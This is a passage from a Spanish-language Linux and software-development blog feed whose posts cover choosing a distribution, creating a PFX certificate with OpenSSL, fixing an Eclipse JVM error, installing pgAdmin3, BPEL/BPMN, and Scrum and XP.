o en algunos formatos de DVD. Esto sucede porque los diseñadores del sistema no quieren usar los software privativo dentro de su distribución y formatos como el MP3 no son abiertos. Esta es una decisión política basada en un proceso de mas de 20 años que se ha dado desde la creación de la GPL. Algunas distribuciones, como UBUNTU, dan la opción al usuario de instalar o no contenidos privativos, transfiriendo la decisión al usuario final: USTED.&lt;br /&gt;Si después de escuchar al elocuente Richard Stallman hablar sobre Software libre quieres usar solamente programas libres (e inclusive hacer la sutileza de diferenciar entre código abierto y software libre)&lt;b&gt;, es tu decisión&lt;/b&gt;. (hay varios videos de stallman en este blog) Es una de las cosas que a mi parecer son mas bonitas de Linux, encontraras distribuciones completamente privativas, que se venden en cajas como cualquier Windows, encontraras proyectos de código abierto como UBUNTU, que te permiten muchas cosas con paquetes privativos y existen distribuciones como Debian Linux que vienen libres de software propietario y la unica distribución 100% Open Source, y una de las mas seguras estables y rapidas.&lt;br /&gt;&lt;br /&gt;Para escoger la distro que mas te guste puedes ir a: &lt;a href="http://distrowatch.com/"&gt;http://distrowatch.com/&lt;/a&gt; donde podrás escoger entre varios centenares de distribuciones la que mas te guste de acuerdo a tus necesidades, tus gustos e inclusive tus inclinaciones políticas.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-4427737727740476180?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/4427737727740476180/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=4427737727740476180' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4427737727740476180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4427737727740476180'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/05/migrando-linux.html' title='Migrando a Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_XUsAarnvi6k/SYecmEeVYlI/AAAAAAAAEsA/qdzArm37n0Q/s72-c/linux_student.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5613277869612339034</id><published>2009-04-13T17:45:00.002-04:00</published><updated>2009-04-13T17:59:46.534-04:00</updated><title type='text'>Generar Certificado PFX en Linux</title><content type='html'>Hola, hoy en día la gestión documental cumple un papel importante en las empresas que gestionan gran cantidad de documentos, sean contratos , facturas, ordenes de compra, etc.&lt;br /&gt;&lt;br /&gt;Debido a que se han establecidos leyes que promueven la firma digital de documentos, muchas empresas además requieren que sus sistemas de gestión documental, &lt;span class="misspell" suggestions=""&gt;workflow&lt;/span&gt;, &lt;span class="misspell" suggestions="pum,broma,brome,bromo,bromé"&gt;bpm&lt;/span&gt;, etc. cuenten con la característica de poder firmar estos documentos digitalmente.&lt;br /&gt;&lt;br /&gt;En Linux y con &lt;span class="misspell" suggestions="Apenas,Opinas,Penisla,Apenase,Opinase"&gt;OpenSSL&lt;/span&gt; podemos generar los certificados necesarios para poder firmar los documentos, utilizando las apis de java que  proveen esta característica, como las &lt;span class="misspell" suggestions="liba,libe,libo,libé,libó"&gt;lib&lt;/span&gt;'s de &lt;span class="misspell" suggestions="texto,ateta,atete,ateto,ateté"&gt;itext&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Vamos a ver a continuación como generamos estos certificados, utilizando el estándar x509 y  el tipo  &lt;span class="misspell" suggestions="paces,pecas,peces,picas,picos"&gt;pkcs&lt;/span&gt;12.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;paso 1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;vamos a la consola y generamos con la siguiente linea de comandos los certificados pem.&lt;br /&gt;&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout certuno.pem -out certuno.pem&lt;/span&gt;&lt;br /&gt;Generating a 1024 bit RSA private key&lt;br /&gt;.........................................++++++&lt;br /&gt;...............................++++++&lt;br /&gt;unable to write 'random state'&lt;br /&gt;writing new private key to 'certuno.pem'&lt;br /&gt;-----&lt;br /&gt;You are about to be asked to enter information that will be incorporated&lt;br /&gt;into your certificate request.&lt;br /&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;There are quite a few fields but you can leave some blank&lt;br /&gt;For some fields there will be a default value,&lt;br /&gt;If you enter '.', the field will be left blank.&lt;br /&gt;-----&lt;br /&gt;Country Name (2 letter code) [AU]:CL&lt;br /&gt;State or Province Name (full name) [Some-State]:Region Metropolitana&lt;br /&gt;Locality Name (eg, city) []:Santiago&lt;br /&gt;Organization Name (eg, company) [Internet Widgits Pty Ltd]:0X Chile&lt;br /&gt;Organizational Unit Name (eg, section) []:BPS&lt;br /&gt;Common Name (eg, YOUR name) []:Jorge Salomon&lt;br /&gt;Email Address []:jorgeleonardo.salomon@0x.com&lt;br /&gt;&lt;br /&gt;luego debemos importar este certificado pem a formato pfx, el estandar para firmar documentos, para esto debemos imgresar clave al certificado.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;paso 2:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;openssl pkcs12 -export -out certuno.pfx -in certuno.pem -name "certificado uno" &lt;/span&gt;&lt;br /&gt;Enter Export Password:&lt;br /&gt;Verifying - Enter Export Password:&lt;br /&gt;&lt;br /&gt;Luego de estos dos pasos, utilizando OpenSSL, podemos utilizar este certificado pfx en cualquier aplicación web para firmar documentos, en mi caso desarrolle una aplicación J2ee que hace esta implementación.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5613277869612339034?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5613277869612339034/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5613277869612339034' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5613277869612339034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5613277869612339034'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/04/generar-certificado-pfx-en-linux.html' title='Generar Certificado PFX en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-8695592101378003624</id><published>2009-04-13T10:50:00.002-04:00</published><updated>2009-04-13T11:07:11.007-04:00</updated><title type='text'>Error al arrancar Eclipse</title><content type='html'>Hola, en algunos casos el sistema operativo se marea con la jvm que ocupa, esto generalmente ocurre cuando hacemos alguna actualización de algún paquete con el gestor o comando alternatives.&lt;br /&gt;Y cuando queremos arrancar eclipse desde el lanzador del escritorio, simplemente no lo abre. y comenzamos con cuestionamientos... jajajaj..., en este caso lo logico es que queramos abrirlo por consola con el comando&lt;br /&gt;&lt;br /&gt;slack@zion:programas/eclipse$ &lt;span style="font-weight: bold;"&gt;./eclipse&lt;/span&gt;&lt;br /&gt;LOG: [0xb7eb66b0] exception thrown while VM is initializing:&lt;br /&gt;LOG: [0xb7eb66b0] NULL: java.lang.Object&lt;br /&gt;LOG: [0xb7eb66b0] Aborting...&lt;br /&gt;Aborted&lt;br /&gt;&lt;br /&gt;desplegando el mensaje de error que se ve, lo bueno de esto es que existe una rapida solución.&lt;br /&gt;&lt;br /&gt;En la misma consola ejecutamos el siguiente comando para comprobar las jvm disponibles para usar en el sistema,&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/eclipse$ &lt;span style="font-weight: bold;"&gt;sudo update-alternatives --config java&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;&lt;br /&gt;Hay 2 alternativas que proveen `java'.&lt;br /&gt;&lt;br /&gt;  SelecciÃ³n     Alternativa&lt;br /&gt;-----------------------------------------------&lt;br /&gt;          1    /usr/lib/jvm/java-1.5.0-sun/jre/bin/java&lt;br /&gt;*+        2    /usr/lib/jvm/java-6-cacao/jre/bin/java&lt;br /&gt;&lt;br /&gt;Pulse &lt;intro&gt; para mantener el valor por omisión [*] o pulse un número de selección: 1&lt;br /&gt;Se utiliza `/usr/lib/jvm/java-1.5.0-sun/jre/bin/java' para proporcionar `java'.&lt;br /&gt;&lt;br /&gt;Luego comprobamos que la opcion seleccinada sea la que tome el sistema como version de uso para java.&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/eclipse$ &lt;span style="font-weight: bold;"&gt;java -version&lt;/span&gt;&lt;br /&gt;java version "1.5.0_16"&lt;br /&gt;Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_16-b02)&lt;br /&gt;Java HotSpot(TM) Server VM (build 1.5.0_16-b02, mixed mode)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Con esto debieramos tener solucionado el tema de incompatibilidad de jvm con eclipse, al menos.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-8695592101378003624?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/8695592101378003624/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=8695592101378003624' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8695592101378003624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8695592101378003624'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/04/error-al-arrancar-eclipse.html' title='Error al arrancar Eclipse'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-4711439636854205736</id><published>2008-12-29T14:28:00.004-03:00</published><updated>2008-12-29T14:49:39.781-03:00</updated><title type='text'>Instalar Pgadmin3 en Linux</title><content type='html'>Hola, la vamos a hacer cortita por que no tengo mucho tiempo, escribo este tips solo como recordatorio.&lt;br /&gt;&lt;br /&gt;Una de las bases de datos Open Source más utilizadas es PostgreSQL, por su flexibilidad, potencia y rapidez es una de las mejores que existe hoy en día, con respaldo de grandes empresas, ademas de tener soporte para multiples funciones, entre ellas soporte para PL (procedimientos almacenados). aunque no soy muy amigo de meter logica de negocio en las bases de datos, por la dependencia que esto provoca, ojo, no digo que sea malo... jajajja son pesimos.. kikokiko.&lt;br /&gt;&lt;br /&gt;Bueno, cuando tenemos linux y nos queremos hacer de una buena base de datos local para nuestros desarrollos optamos por Mysql que es excelente o por PostgreSQL que tambien es muy buena. ambas free.&lt;br /&gt;&lt;br /&gt;Si tenemos instalado webmin, podemos instalar Postgre desde la pestaña de servicios, esto no es nada mas que instalar postgre con apt-get pero desde una interfaz grafica.&lt;br /&gt;&lt;br /&gt;Una vez instalada nuestra base de datos postgreSQL, podemos instalar un cliente grafico como PGadmin3.&lt;br /&gt;&lt;br /&gt;Por consola lo hacemos de la siguiente manera, utilizando el gestor de paquetes de Debian y ubuntu:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.-&lt;/span&gt; Buscamos en nuestros repositorios si contamos con este paquete para instalar.&lt;br /&gt;&lt;br /&gt;slack@ubuntu:/usr/local/Xerox/DocuShare/bin$ &lt;span style="font-weight: bold;"&gt;apt-cache search pgadmin&lt;/span&gt;&lt;br /&gt;pgadmin3 - graphical administration tool for PostgreSQL&lt;br /&gt;pgadmin3-data - graphical administration tool for PostgreSQL - documentation&lt;br /&gt;pgagent - job scheduler for PostgreSQL&lt;br /&gt;phppgadmin - web-based administration tool for PostgreSQL&lt;br /&gt;postgresql-contrib-8.3 - additional facilities for PostgreSQL&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Se despliega en el listado lo que andamos buscando, ahora procedemos a instalar automatyicamente el software con apt-get, como root&lt;br /&gt;&lt;br /&gt;slack@ubuntu:/usr/local/Xerox/DocuShare/bin$ &lt;span style="font-weight: bold;"&gt;sudo apt-get install pgadmin3&lt;/span&gt;&lt;br /&gt;[sudo] password for slack:&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias   &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;libwxbase2.8-0 libwxgtk2.8-0 pgadmin3-data pgagent&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;libwxbase2.8-0 libwxgtk2.8-0 pgadmin3 pgadmin3-data pgagent&lt;br /&gt;0 actualizados, 5 se instalarán, 0 para eliminar y 0 no actualizados.&lt;br /&gt;Necesito descargar 8225kB de archivos.&lt;br /&gt;Se utilizarán 23,1MB de espacio de disco adicional después de desempaquetar.&lt;br /&gt;&lt;br /&gt;decimos que S, y comienza la descarga desde los repositorios que tenemos en nuestro source.list&lt;br /&gt;&lt;br /&gt;¿Desea continuar [S/n]? &lt;span style="font-weight: bold;"&gt;S&lt;/span&gt;&lt;br /&gt;Des:1 http://cl.archive.ubuntu.com intrepid/universe libwxbase2.8-0 2.8.8.0-0ubuntu2 [671kB]&lt;br /&gt;Des:2 http://cl.archive.ubuntu.com intrepid/universe libwxgtk2.8-0 2.8.8.0-0ubuntu2 [3373kB]&lt;br /&gt;Des:3 http://cl.archive.ubuntu.com intrepid/universe pgadmin3-data 1.8.4-1 [2626kB]                                                                                                                          &lt;br /&gt;Des:4 http://cl.archive.ubuntu.com intrepid/universe pgadmin3 1.8.4-1 [1515kB]                                                                                                                               &lt;br /&gt;Des:5 http://cl.archive.ubuntu.com intrepid/universe pgagent 1.8.4-1 [38,2kB]                                                                                                                                &lt;br /&gt;Descargados 8225kB en 19s (420kB/s)                                                                                                                                                                          &lt;br /&gt;Seleccionando el paquete libwxbase2.8-0 previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...&lt;br /&gt;140462 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando libwxbase2.8-0 (de .../libwxbase2.8-0_2.8.8.0-0ubuntu2_i386.deb) ...&lt;br /&gt;Seleccionando el paquete libwxgtk2.8-0 previamente no seleccionado.&lt;br /&gt;Desempaquetando libwxgtk2.8-0 (de .../libwxgtk2.8-0_2.8.8.0-0ubuntu2_i386.deb) ...&lt;br /&gt;Seleccionando el paquete pgadmin3-data previamente no seleccionado.&lt;br /&gt;Desempaquetando pgadmin3-data (de .../pgadmin3-data_1.8.4-1_all.deb) ...&lt;br /&gt;Seleccionando el paquete pgadmin3 previamente no seleccionado.&lt;br /&gt;Desempaquetando pgadmin3 (de .../pgadmin3_1.8.4-1_i386.deb) ...&lt;br /&gt;Seleccionando el paquete pgagent previamente no seleccionado.&lt;br /&gt;Desempaquetando pgagent (de .../pgagent_1.8.4-1_i386.deb) ...&lt;br /&gt;Procesando activadores para man-db ...&lt;br /&gt;Procesando activadores para doc-base ...&lt;br /&gt;Processing 1 added doc-base file(s)...&lt;br /&gt;Registering documents with scrollkeeper...&lt;br /&gt;Configurando libwxbase2.8-0 (2.8.8.0-0ubuntu2) ...&lt;br /&gt;&lt;br /&gt;Configurando libwxgtk2.8-0 (2.8.8.0-0ubuntu2) ...&lt;br /&gt;&lt;br /&gt;Configurando pgadmin3-data (1.8.4-1) ...&lt;br /&gt;Configurando pgadmin3 (1.8.4-1) ...&lt;br /&gt;&lt;br /&gt;Configurando pgagent (1.8.4-1) ...&lt;br /&gt;Procesando activadores para libc6 ...&lt;br /&gt;ldconfig deferred processing now taking place&lt;br /&gt;slack@ubuntu:/usr/local/Xerox/DocuShare/bin$&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.-&lt;/span&gt; Y listo, ya tenemos pgadmin3 para trabajar graficamente con nuetsro PostgreSQL&lt;br /&gt;&lt;br /&gt;Aqui va un pantallazo de PGAdmin3&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SVkNmI9lwmI/AAAAAAAAAJ8/UWhDjtrz6nI/s1600-h/Pantallazo-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SVkNmI9lwmI/AAAAAAAAAJ8/UWhDjtrz6nI/s320/Pantallazo-1.png" alt="" id="BLOGGER_PHOTO_ID_5285270586587988578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Esto si que es Open Source, todo a la mano y sin comprar licencias.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El software libre es una fuente de innovación...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-4711439636854205736?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/4711439636854205736/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=4711439636854205736' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4711439636854205736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4711439636854205736'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/12/instalar-pgadmin3-en-linux.html' title='Instalar Pgadmin3 en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_-ixaLQDJLhI/SVkNmI9lwmI/AAAAAAAAAJ8/UWhDjtrz6nI/s72-c/Pantallazo-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2799464292086976224</id><published>2008-12-18T10:57:00.002-03:00</published><updated>2008-12-18T11:23:36.023-03:00</updated><title type='text'>BPEL y BPMN</title><content type='html'>&lt;p class="MsoNormal" style="text-align: justify;"&gt;Los sistemas de soporte operacional en las empresas están basados en procesos que conforman su cadena operativa, cadenas de valor, de negocio, etc. soportando por ejemplo, los ciclos para la gestión de clientes, productos, servicios, recursos humanos, contabilidad, finanzas, administración, presupuesto, facturacion, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="text-align: justify;"&gt;La agilidad operativa en la administración de estos procesos, es un diferenciador competitivo vital y una de las principales características que una organización necesita para poder adaptarse a los continuos cambios de negocio. &lt;strong&gt;El éxito dependerá de la rapidez con la cual las organizaciones puedan adaptarse&lt;/strong&gt;&lt;b&gt; a estos cambios y al correcto uso de las herramientas tecnologicas que facilitan su control&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 12pt; text-align: justify;"&gt;Por lo general, las empresas tienen analistas de negocio, que definen y establecen los ciclos y los procesos de negocio. Su función es mejorar, iterar y optimizar los procesos, equilibrar los requerimientos con los objetivos de la organización, etc. Tradicionalmente los analistas han utilizado herramientas para modelar y representar los procesos. Luego estos procesos son desplegados en alguna tecnología que pueda ejecutarlos y crear una representación técnica basada en un lenguaje de programación.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 12pt; text-align: justify;"&gt;Resumiendo, el proceso se modela en una herramienta grafica, creando una representación de los procesos de alto nivel, como el modelo no trae un ejecutable directamente, los programadores deben crear componentes que implementan los procesos sobre una tecnología específica y basada en su comprensión del proceso.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;Los procesos desarrollados de esta manera son muy susceptibles a errores de comprensión, errores de codificación, debido a la desconexión existente entre el modelo de alto nivel y el proceso ejecutable. En este tipo de soluciones, un cambio implica un impacto significativo, es necesario por ejemplo, reescribir código, cambiar el modelo, etc., además es difícil obtener métricas para medir el estado actual y las condiciones de negocio vigentes. entonces aqui se dice que "Problemas de diseño extremo, soluciones de programacion extremas", asumiendo en este caso una metodologia agil para el desarrollo de software (Scrum y XP). &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;strong&gt;Problemas con este modelo de implementación.&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;ol style="text-align: justify;" start="1" type="1"&gt;&lt;li class="MsoNormal"&gt;Los procesos desarrollados de esta manera son muy susceptibles      a errores de comprensión y errores de codificación.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Existen grandes brechas entre el modelo y su implementación      técnica.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Un cambio implica un impacto significativo en la infraestructura TI de la organización, porque los procesos están cableados en el código.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Las reglas de negocio, están altamente acopladas a      los procesos.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Mantenerlos es extremadamente engorroso, difícil y costoso.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Debido a los continuos cambios, los procesos pierden vigencia continuamente y pueden llegar a convertirse en piezas incomprensibles, con un nivel de detalle que aprisiona la agilidad.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;No podemos automatizar los cambios de políticas.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;p class="MsoNormal" style="margin-bottom: 12pt; text-align: justify;"&gt;&lt;strong&gt;Una Solución&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 12pt; text-align: justify;"&gt;Para solventar estos problemas, los gerente de IT utilizan una solución basada en modelos, con una alternativa de implementación mas abierta y estándar: BPM y BPEL.&lt;br /&gt;&lt;br /&gt;BPEL es el estándar de la industria que representa y ejecuta procesos del negocio, bpel permite una abstracción lógica del proceso, del modelo de implementación o tecnología. BPEL esta basado en una notación XML que permite representar los procesos de negocio, uno de los ides que implementa muy bien esta tecnologia es Netbeans de la version 5.5 en adelente, y su propio motor de procesos asociado a Glassfish.&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; Otro estándar, Business Process Modeling Notation (BPMN), es una especificación que proporciona una notación que todos los usuarios y clientes los puedan entender, los analistas bosquejan inicialmente los procesos para que los desarrolladores lo ejecuten en algun motor, como Jboss BPM. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;Con BPEL y BPMN, un analista puede utilizar una herramienta para modelar el proceso y construir el proceso usando BPMN. El modelo del proceso BPMN genera automáticamente un entorno para BPEL, donde se establecen metadatos, reglas de negocio, bifurcaciones, flujos de trabajo, participantes, punto de decisión,  contextos de pool y lane, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Beneficios&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;ol style="text-align: justify;" start="1" type="1"&gt;&lt;li class="MsoNormal"&gt;Simplifica la comunicación y colaboración entre los      arquitectos, analistas y desarrolladores.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Habilita y disponibiliza el concepto de SOA en la organización.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;BPEL proporciona un modelo rico en operaciones como      el manejo de excepciones, reglas de negocio, transaccionalidad, logica, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;La visión lógica no demuestra los detalles      subyacentes de la puesta en práctica.&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;Cambios no afectan la representación total del      proceso.&lt;/li&gt;&lt;/ol&gt;Ingresaremos luego a este mundo, con ejemplos practicos para su correcta implementacion.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2799464292086976224?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2799464292086976224/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2799464292086976224' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2799464292086976224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2799464292086976224'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/12/bpel-y-bpmn.html' title='BPEL y BPMN'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-7358101303932028201</id><published>2008-10-27T16:32:00.016-03:00</published><updated>2008-10-27T17:22:00.140-03:00</updated><title type='text'>Scrum y XP (1)</title><content type='html'>Hola, muchas veces cuando debemos desarrollar o implementar rapidamente un software, tenemos demasiado poco tiempo, sobre todo cuendo el asunto es partir de cero y no tenemos tiempo para análisis, modelamiento perfecto de UML, etc.&lt;br /&gt;&lt;br /&gt;Para estos casos se ha puesto de moda Scrum y XP, ambas son tecnicas de desarrollo agil de software.&lt;br /&gt;&lt;br /&gt;Los equipos de trabajo deben conocer los principios de Scrum. ¿Cómo se crea y se estima una pila de producto? ¿Cómo se transforma en una pila de Sprint?&lt;br /&gt;¿Cómo se gestiona un gráfico de burn-down y se calcula la velocidad del equipo?&lt;br /&gt;&lt;br /&gt;Para responder esto veremos una introducción practica de Scrum.&lt;br /&gt;&lt;br /&gt;La ejecución correcta de Scrum se está convirtiendo en un factor cada vez más importante para los equipos que buscan inversión de capital.&lt;br /&gt;&lt;br /&gt;¿Por qué es esto tan importante? Si los equipos no conocen su velocidad, el Dueño de Producto no puede crear una hoja de ruta del producto con fechas de lanzamiento creíbles. Sin fechas de lanzamiento fiables, la  ompañía podría fracasar y los inversores perder su dinero.&lt;br /&gt;&lt;br /&gt;Tanto Scrum como Programación Extrema (XP) requieren que los equipos completen algún tipo de producto potencialmente liberable al final de cada iteración. Estas iteraciones están diseñadas para ser cortas y de duración fija.&lt;br /&gt;Este enfoque de entregar código funcional cada poco tiempo significa que los equipos Scrum y XP no tienen tiempo para teorías. No persiguen dibujar el modelo UML perfecto en una herramienta CASE, escribir el documento de requisitos perfecto o escribir código que se adapte a todos los cambios futuros imaginables. En vez de eso, los equipos Scrum y XP se enfocan en que las cosas se hagan. Estos equipos aceptan que puede que se equivoquen por el camino, pero también son conscientes de que la mejor manera de encontrar dichos errores es dejar de pensar en el software a un nivel teórico de análisis y diseño y sumergirse en él, ensuciarse las manos y comenzar a construir el producto.&lt;br /&gt;&lt;br /&gt;Este es un proceso de aprendizaje continuo, así que la historia no acaba aquí.&lt;br /&gt;Estoy convencido de que esta empresa seguirá aprendiendo (si se siguen haciendo las Retrospectivas de Sprint) y adoptando nuevas perspectivas sobre las mejores formas de implementar Scrum en su contexto particular.&lt;br /&gt;&lt;br /&gt;Si necesitas averiguar más antes de seguir puedes ver los siguientes 